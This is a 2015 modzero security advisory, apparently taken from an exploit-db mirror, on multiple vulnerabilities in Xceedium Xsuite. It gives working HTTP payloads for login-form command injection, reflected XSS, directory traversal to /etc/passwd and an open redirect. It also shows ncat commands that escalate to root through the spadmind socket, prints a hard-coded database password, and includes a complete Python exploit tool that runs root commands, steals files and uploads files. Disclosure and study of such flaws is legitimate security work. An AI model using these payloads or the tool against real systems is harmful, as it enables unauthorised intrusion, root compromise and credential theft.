Xceedium Xsuite – Multiple Vulnerabilities

  • 作者: modzero
    日期: 2015-07-27
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37708/
  • See also: http://www.modzero.ch/advisories/MZ-15-02-Xceedium-Xsuite.txt
    
    ---------------------------------------------------------------------
    
    modzero Security Advisory:
    Multiple Vulnerabilities in Xceedium Xsuite [MZ-15-02]
    
    ---------------------------------------------------------------------
    
    ---------------------------------------------------------------------
    
    1. Timeline
    
    ---------------------------------------------------------------------
    
     * 2015-06-17: Vulnerabilities have been discovered
     * 2015-06-19: Vendor notified via support@xceedium.com
     * 2015-06-19: CVE IDs assigned
     * 2015-06-26: Public reminder sent via Twitter
     * 2015-06-26: Findings updated
     * 2015-07-22: Release after Xceedium did not respond within
     more than 15 business days
    
    ---------------------------------------------------------------------
    
    2. Summary
    
    ---------------------------------------------------------------------
    
    Vendor: Xceedium, Inc.
    
    Products known to be affected:
    
     * Xsuite 2.3.0
     * Xsuite 2.4.3.0
     * Other products and versions may be affected as well.
    
    Severity: Overall High
    Remote exploitable: remote and local
    
    TheXsuite systemcontrolsand auditsprivilegeduser accessto
    computersin anetworkenvironment.Several vulnerabilitieswere
    identified in the solution. The vulnerabilities allow unauthenticated
    users to fully compromise an Xsuite host over the network.
    
    Theissuesdescribedbeloware onlyexamplesforvulnerability
    classes. The solution is systematically affected by similar issues.
    
    CVE-2015-4664 to CVE-2015-4669 wasassigned to these vulnerabilities
    and vulnerability classes.
    
    ---------------------------------------------------------------------
    
    3. Details
    
    ---------------------------------------------------------------------
    
    3.1 Commandinjection viathe loginform (Severity:High,
    CVE-2015-4664)
    
    Thelogin formis affectedby acode injectionvulnerability via
    the"id" POSTparameter, whichallows anunauthenticated attacker
    toinjectLinux commands.Thesecommandsare executedwiththe
    privilegesofthe Linuxuser"www-data".The injectedcommand's
    output is then sent back to the attacker.
    
    An example HTTP request and response is shown below.
    
    HTTP request:
    
    POST /login.php HTTP/1.1
    Host: XXX.XXX.XXX.XXX
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: https://XXX.XXX.XXX.XXX/
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 80
    
    id=admin'|cat /etc/passwd||a%20%23|&pass=admin&authTypeOption=use_local&loginID=
    
    
    
    HTTP response:
    
    HTTP/1.1 200 OK
    Date: Wed, 17 Jun 2015 10:47:47 GMT
    Server: Apache
    X-Frame-Options: SAMEORIGIN
    Set-Cookie: PHPSESSID=6d5b0fbf8349caf10493f65e8f0b131b; path=/; secure; HttpOnly
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache
    Set-Cookie: PROXY_AUTH_FAILURE=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
    Strict-Transport-Security: max-age=365246060
    Content-Length: 2096
    Keep-Alive: timeout=150, max=300
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
    
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    [...]
    
    
    3.2 Cross-SiteScripting Vulnerability(Severity: Medium,
    CVE-2015-4665)
    
    Thefollowing exampleshowsareflected cross-sitescripting
    vulnerabilitythat injectsJavaScript codeinto auser's session.
    Here, the HTTPresponse contains a message, which seemsto be JSON.
    However, the content type is"text/html". Thus, a web browser treats
    the server response as HTML code (fragment).
    
    HTTP request:
    
    GET /ajax_cmd.php?cmd=COMPLETGRAPHYRECORDING&fileName=<img%20src%3da%20onload%3dalert(1)> HTTP/1.1
    Host: XXX.XXX.XXX.XXX
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Cookie: PHPSESSID=c4f6547d9d889336a7f4a9a953cc3815
    Connection: keep-alive
    
    
    HTTP response:
    
    HTTP/1.1 200 OK
    Date: Thu, 18 Jun 2015 11:10:07 GMT
    Server: Apache
    X-Frame-Options: SAMEORIGIN
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache
    Strict-Transport-Security: max-age=365246060
    Content-Length: 70
    Keep-Alive: timeout=150, max=300
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
    
    ["Unable to find decryption key for file <img src=a onload=alert(1)>"]
    
    
    3.3 Directorytraversal andFile DownloadVulnerability (Severity:
    Medium/High, CVE-2015-4666)
    
    Due to insufficient input validation the "read_sessionlog.php" script
    isaffected byadirectory traversalvulnerability, whichallows
    unauthenticated users to obtain any files that the user "www-data" is
    allowed toaccess. Thescript triesto cutthe "../"pattern for
    relativedirectoryaddressing,butfailstosanitizespecially
    crafted input. Hence, it is still possible to download files from the
    host by accessing the script as shown below:
    
    https://XXX.XXX.XXX.XXX/opm/read_sessionlog.php?logFile=....//....//....//....//etc/passwd
    
    The following code is partof the source code file
    /var/www/htdocs/uag/web/opm/read_sessionlog.php
    
    [...]
    $file_path= $_REQUEST["logFile"];
    [...]
    
    if (strpos($file_path, '/opt/rpath') !== 0) { $file_path = '/opt/rpath/' .$file_path; }
    
    if($startByte < 1)
    $startByte=0;
    
    if (isset($file_path)) { 
     // make sure users cannot hack via ../../
     $file_path = preg_replace("/\.\.\//", "", $file_path);
     $file_path = stripslashes($file_path);
     // if the file does not exist, display it
     if (!is_file($file_path)) { 
     echo 'File (' .$_REQUEST["logFile"]. ') does not exist.'; 
     exit(0);
     }
    }
    
    output_file($file_path, 'VT100LogA.txt', '', $startByte, $searchChar, $searchDir, $totalByte);
    [...]
    
    
    3.4Privilegeescalation via"/sbin/spadmind"(Severity:High,
    CVE-2015-4664)
    
    The"spadmind" serviceallowslocalusers toescalatetheir
    privilegestobecome"root". Incombinationwiththecommand
    injectionvulnerability fromsection3.1, itispossible torun
    arbitrary commands as "root" user via the network.
    
    The web interfaceruns under the privileges of theweb server user.
    To executeprivileged commands,the web interfacesends text-based
    messagesvia asocketto the"spadmind"process. The"spadmind"
    process has alistening socket bound to localhost:2210and reads in
    text lines, which are partiallyused as parameter for system command
    execution. Since the "spadmind" processdoes not validate the input,
    anattackeris abletoinjectcommandsthat areexecutedwith
    super-user privileges.
    
    File: /sbin/spadmind
    
    [...]
    # socket
    my $clsock = shift;
    # command and number of lines to process
    my $command= <$clsock>;
    my $numlines = <$clsock>;
    
    chomp($command);
    chomp($numlines);
    [...]
    } elsif ($command eq 'expect') {
    chomp($line = <$clsock>);
    my $res = `expect $line`;
    if ($res =~ /(STATUS=\w+)/) {
    $resp = $1;
    } else {
    $resp = 'unknown';
    }
    [...]
    
    In the quotedcode above, running the command"expect" and allowing
    users tospecify parametersis a vulnerability,because parameters
    could be passed via option "-c" to invoke shell commands.
    
    $ echo -e "expect\n1\n-c garbage;id > /tmp/x23" | ncat --send-only 127.0.0.1 2210; sleep 1; cat
    /tmp/x23
    uid=0(root) gid=0(root)
    
    $ echo -e "timezone\n1\n;id > /tmp/x42" | ncat --send-only 127.0.0.1 2210; sleep 1; cat /tmp/x42 
    uid=0(root) gid=0(root)
    
    
    3.5 Hard-coded database credentials (Severity: Low, CVE-2015-4667)
    
    Thesoftware useshard-coded credentialsat severalplaces, which
    makes it unfeasible to change database credentials regularly.
    
    $ grep -R n1b2dy .
    ./uag/db/init/install-xio-uag-data.sql:SET PASSWORD FOR 'uaguser'@'localhost'=PASSWORD('n1b2dy');
    ./uag/db/init/upgrade401SP2to402.pl:use constant LW_DBPASS => "n1b2dy";
    ./www/htdocs/uag/web/activeActiveCmd.php:$res = mysql_connect("localhost", "uaguser",
    "n1b2dy");
    ./www/htdocs/uag/web/activeActiveCmd.php:$link = mysql_connect("localhost", "uaguser",
    "n1b2dy");
    ./www/htdocs/uag/web/activeActiveCmd.php:$link = mysql_connect("localhost", "uaguser",
    "n1b2dy");
    ./www/htdocs/uag/web/activeActiveCmd.php:$res = mysql_connect("localhost", "uaguser", "n1b2dy");
    ./www/htdocs/uag/web/activeActiveCmd.php:$link = mysql_connect("localhost", "uaguser",
    "n1b2dy");
    ./www/htdocs/uag/web/activeActiveCmd.php:$link = mysql_connect("localhost", "uaguser",
    "n1b2dy");
    ./www/htdocs/uag/web/ajax_cmd.php:$link = mysql_connect("localhost", "uaguser" ,"n1b2dy");
    ./www/htdocs/uag/cgi/external_log_sync.php:$db_link_local = new mysqli("localhost", "uaguser",
    "n1b2dy", "uag");
    ./www/htdocs/uag/config/db.php:$dbchoices= array("mysql", "uaguser", "n1b2dy");
    ./www/htdocs/uag/services/main/common/Configuration.php:const K_DB_PASS_DEFAULT= 'n1b2dy';
    ./www/htdocs/uag/functions/eula_check.php:$link = mysql_connect("localhost", "uaguser",
    "n1b2dy");
    ./www/htdocs/uag/functions/eula_check.php:$link = mysql_connect("localhost", "uaguser",
    "n1b2dy");
    ./www/htdocs/uag/functions/db.php:$dbchoices= array("mysql", "uaguser",
    "n1b2dy");
    ./www/htdocs/uag/functions/remove_disabled_cron.pl:'n1b2dy',
    
    $ grep -R n1b2dy sbin
    sbin/logwatch:use constant LW_DBPASS => "n1b2dy";
    sbin/interrogate-vmware.pl:use constant DB_PASSWORD=> 'n1b2dy';
    Binary file sbin/xcd_sshproxy matches
    Binary file sbin/xcd_upd matches
    Binary file sbin/vlmon matches
    Binary file sbin/sessd matches
    Binary file sbin/gksfdm matches
    Binary file sbin/xcdmsubagent matches
    sbin/logload:my $dbh = DBI->connect("DBI:mysql:uag", "uaguser", "n1b2dy") or die("Can not connect to
    the database\n");
    sbin/make-auth-token.pl:my $passwd = 'n1b2dy';
    sbin/rotate_coredumps.pl:my $passwd = 'n1b2dy';
    Binary file sbin/loadcrl matches
    sbin/ad_upd:$dbh = DBI->connect( 'DBI:mysql:uag', 'uaguser', 'n1b2dy', { autocommit => 0 } )
    sbin/ad_upd:my $db = DBI->connect( 'DBI:mysql:uag', 'uaguser', 'n1b2dy', { autocommit => 0 } )
    sbin/ad_upd:$dbh = DBI->connect_cached( 'DBI:mysql:uag', 'uaguser', 'n1b2dy', { autocommit => 0 }
    )
    sbin/rfscheck:use constant LW_DBPASS=> "n1b2dy";
    sbin/auth.pl:'n1b2dy',
    sbin/apwd:my $dbh = DBI->connect("DBI:mysql:uag", "uaguser", "n1b2dy") or return;
    sbin/update_crld:my($dbpass)="n1b2dy";
    sbin/update_crld:'n1b2dy',
    
    
    3.6. No passwordfor MySQL "root" user(Severity: High,
    CVE-2015-4669)
    
    Localuserscan accessdatabasesonthe systemwithoutfurther
    restrictions, because the MySQL "root" user has no password set.
    
    $ python XceediumXsuitePoC.py --hostXXX.XXX.XXX.XXX --cmd 'echo "update user set active = 0,
    passwd=sha1(\"myknownpw\") where u_name = \"mytargetuser\";"| mysql -u root uag'
    
    
    3.7 Open redirect (Severity: Low, CVE-2015-4668)
    
    An attacker may craft a link toan Xsuite host that looks valid, but
    tricks the userand abuses an open redirectvulnerability in Xsuite
    to redirect a user to a thirdparty web site, for example a web site
    with malware.
    
    https://XXX.XXX.XXX.XXX/openwin.php?redirurl=%68%74%74%70%3a%2f%2f%77%77%77%2e%6d%6f%64%7a%65%72%6f%2e%63%68
    
    File: /var/www/htdocs/uag/web/openwin.php
    
    <?
    $redirurl = $_GET['redirurl'];
    
    header('Location: ' .$redirurl);
    
    ?>
    
    
    3.8 Possible issues not further investigated
    
    Passwords stored inthe database are unsaltedhashes, which reduces
    the attack complexity if an attackerhas access to the database. The
    setup under invesatigation partially used MD5 and SHA1 hashes.
    
    The web interface and scriptscreate SQL statements by concatenating
    strings and user-supplied input without proper input validation. This
    may result in SQL injections.
    
    $ grep -i -Rwhere . | grep -E '\$_(POST|GET)'
    ./web/filter/filter_sfa.php:$query = "delete from socket_filter_mon where
    sfm_id='".$_GET['sfm_id']."'";
    ./web/filter/filter_command_list.php:$query = "select * from cmd_list where
    id='".$_POST["s_list"]."'";
    ./web/filter/filter_command_list.php:$query = "delete from cmd_list where
    id='".$_POST["s_list"]."'";
    ./web/filter/filter_command_list.php:$query = "delete from cmd_keywords where
    list_id='".$_POST["s_list"]."'";
    ./web/filter/filter_command_list.php: "where command_filter =
    '".$_POST["s_list"]."'";
    ./web/filter/filter_command_list.php:$query = "select * from cmd_list where
    list_type='".$_POST['r_ltype']."' order by listname";
    ./web/filter/filter_command_list.php:where id='".$_POST['id']."'";
    ./web/filter/filter_command.php:$query = "update intervention_configuration set value =
    '".$_POST['number_warnings']."' where name = 'number_of_warnings'";
    ./web/filter/filter_command.php:$query = "update intervention_configuration set value =
    '".$_POST['blacklist_action']."' where name = 'intervention_action'";
    ./web/filter/filter_command.php:$query = "update intervention_configuration set value =
    '".$_POST['blacklist_intervention_message']."' where name = 'blacklist_intervention_message'";
    ./web/filter/filter_command.php:$query = "update intervention_configuration set value =
    '".$_POST['whitelist_intervention_message']."' where name = 'whitelist_intervention_message'";
    ./web/filter/filter_command.php:$query = "update intervention_configuration set value =
    '".$_POST['alert_email_message']."' where name = 'alert_email_message'";
    ./web/socketFilterCmd.php:$res = mysql_query("SELECT h_id FROM host where hostID=" .
    $_GET['h_id']);
    ./web/socketFilterCmd.php:$res = mysql_query("SELECT h_id FROM host where hostID=" .
    $_GET['h_id']);
    ./web/socketFilterCmd.php:$query = "delete from rdp_lock where id='".$_GET['rdp_id']."'";
    ./web/socketFilterCmd.php:$query = "select hostID from host where h_id =
    '".db_esc($_GET["device_name"])."'";
    ./web/socketFilterCmd.php:where sess_id='".$_GET['PHPSESSID']."' and
    ./web/socketFilterCmd.php:$query = 'SELECT seq FROM gkconnection WHERE sess_id = "' .$sessid.
    '" AND hostID = "' .$_GET['h_id']. '" AND pid IS NOT NULL';
    ./web/socketFilterCmd.php:$query = 'SELECT seq FROM gkconnection WHERE sess_id = "'
    .$sessid. '" AND hostID = "' .$_GET['h_id']. '" AND pid IS NOT NULL';
    ./web/socketFilterCmd.php: $query = 'SELECT seq FROM gkconnection WHERE sess_id = "'
    .$sessid. '" AND hostID = "' .$_GET['h_id']. '" AND pid IS NOT NULL';
    ./web/ajax_cmd.php:$query = "select * from session where sess_id='".$_GET['param']."'";
    ./web/ajax_cmd.php:WHERE hostID = '".$_GET['hostID']."'";
    ./web/ajax_cmd.php:$query = 'SELECT u.userID FROM session AS s, user AS u WHERE s.u_name =
    u.u_name AND s.sess_id = "' .db_esc($_GET['sess_id']). '"';
    ./web/dev/dev_ajax.php:$update_query = "UPDATE kta_settings set value = '".$_GET[$name]."' where
    name = '".$name."'";
    ./web/dev/dev_group_ajax.php:if ($_POST['where'] == 'hosts' || $_POST['where'] == 'hosts_sel') {
    ./web/dev/dev_group_ajax.php:$where = $_POST['where'];
    ./web/dev/dev_group_ajax.php:if ($_POST['where'] == 'hosts' || $_POST['where'] == 'hosts_sel') {
    ./web/dev/dev_group_ajax.php:$where = $_POST['where'];
    ./web/dev/dev_group_ajax.php:if ($_POST['where'] == 'hosts' || $_POST['where'] == 'hosts_sel') {
    ./web/dev/dev_group_ajax.php:$where = $_POST['where'];
    ./features/dev_sfa.php:$query = "delete from socket_filter_mon where
    sfm_id='".$_GET['sfm_id']."'";
    ./hconfig/functions/smartb.php:$query = "delete from smartb_cfg_files where fileName =
    '".$_POST["filename"]."'";
    
    
    ---------------------------------------------------------------------
    
    4. Impact
    
    ---------------------------------------------------------------------
    
    The identifiedvulnerabilities allows any userto execute arbitrary
    commands as systemsuper-user ("root"). Since the systemis used to
    control otherdevices (forexample, via RDPand SSH),an attacker
    would add malicous modification to the Java-based clients for RDP and
    SSH to exfiltrate access credentials for computers and to abuse these
    credentials in further steps.
    
    
    ---------------------------------------------------------------------
    
    5. Proof of concept exploit 
    
    ---------------------------------------------------------------------
    
    #!/usr/bin/python
    #
    # Proof of Concept Tool to Exploit Vulnerabilities in 
    # Xceedium Xsuite
    #
    # Author: modzero AG, Switzerland
    #
    
    import httplib2, urllib
    import re
    import base64
    from optparse import OptionParser
    
    url = ''
    
    def get_command_output(cmd):
    marker = '~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!'
    values = {
    'id' : "admin'| echo " + marker +"; " + cmd + " ; echo -n " + marker + "||X #",
    'pass' : 'foo',
    'authTypeOption' : 'use_local',
    'loginID' : '',
    }
    headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    }
    values = urllib.urlencode(values)
    h = httplib2.Http(disable_ssl_certificate_validation=True)
    resp, content = h.request(url, "POST", values, headers = headers)
    offset1 = content.find(marker) + len(marker)
    offset2 = content.rfind(marker, offset1 + 1)
    try:
    return base64.standard_b64decode(content[offset1:offset2])
    except:
    return content[offset1:offset2]
    
    
    def get_dir(retrieve_dir):
    fname = re.sub(r'\/', '_', retrieve_dir) + ".tgz"
    text_file = open(fname, "w")
    text_file.write(get_command_output("tar -czf - " + retrieve_dir + " | base64"))
    text_file.close()
    
    def get_file(retrieve_file):
    fname = re.sub(r'\/', '_', retrieve_file)
    data = get_command_output("cat " + retrieve_file + " | base64")
    print data
    text_file = open(fname, "w")
    text_file.write(data)
    text_file.close()
    
    def exec_cmd(cmd):
    data = get_command_output(cmd + " | base64")
    print data
    
    def exec_root(cmd):
    data = get_command_output('echo -e "timezone\n1\n;' + cmd + ' > /tmp/.x" | ncat --send-only
    127.0.0.1 2210; sleep 1; cat /tmp/.x | base64')
    print data
    
    def upload_file(fname, dst_file):
    with open(fname, 'r') as content_file:
    b64_content = base64.standard_b64encode(content_file.read())
    get_command_output("echo " + b64_content + " | base64 -d > " + dst_file)
    
    def main():
    global url
    parser = OptionParser()
    parser.add_option("--host", dest="host", help="The host to attack")
    parser.add_option("--dir", dest="dir", help="The directory to retrieve")
    parser.add_option("--file", dest="file", help="The file to retrieve")
    parser.add_option("--cmd", dest="cmd", help="The command to execute")
    parser.add_option("--root", dest="root", help="The command to execute with root privileges")
    parser.add_option("--upload", dest="upload", help="A local file to upload")
    parser.add_option("--dst", dest="dst_file", help="The destination file for uploaded content")
    
    (options, args) = parser.parse_args()
    
    if options.host:
    url = 'https://%s/login.php' % (options.host)
    
    if options.dir:
    get_dir(options.dir)
    elif options.file:
    get_file(options.file)
    elif options.cmd:
    exec_cmd(options.cmd)
    elif options.root:
    exec_root(options.root)
    elif options.upload:
    upload_file(options.upload, options.dst_file)
    
    if __name__ == "__main__":
    main()
    
    
    ---------------------------------------------------------------------
    
    6. Workaround
    
    ---------------------------------------------------------------------
    
    A workaround is not known.
    
    ---------------------------------------------------------------------
    
    7. Fix
    
    ---------------------------------------------------------------------
    
    It is not known to modzero, if a security fix is available.
    
    ---------------------------------------------------------------------
    
    8. Credits
    
    ---------------------------------------------------------------------
    
     * Martin Schobert (martin@modzero.ch)
    
    ---------------------------------------------------------------------
    
    9. About modzero
    
    ---------------------------------------------------------------------
    
    TheindependentSwisscompanymodzeroAGassistsclientswith
    security analysisin the complexareas of computertechnology. The
    focusliesonhighlydetailedtechnicalanalysisofconcepts,
    softwareandhardware componentsaswellas thedevelopmentof
    individual solutions.Colleagues atmodzero AG workexclusively in
    practical, highlytechnical computer-security areas andcan draw on
    decadesof experienceinvarious platforms,system concepts,and
    designs.
    
    https://www.modzero.ch
    
    contact@modzero.ch
    
    ---------------------------------------------------------------------
    
    10. Disclaimer
    
    ---------------------------------------------------------------------
    
    The informationin the advisoryis believedto be accurateat the
    time of publishingbased on currently availableinformation. Use of
    the information constitutes acceptance for use in an AS IS condition.
    There are no warranties withregard to this information. Neither the
    authornorthe publisheracceptsanyliability foranydirect,
    indirect, orconsequential lossor damage arisingfrom useof, or
    reliance on, this information.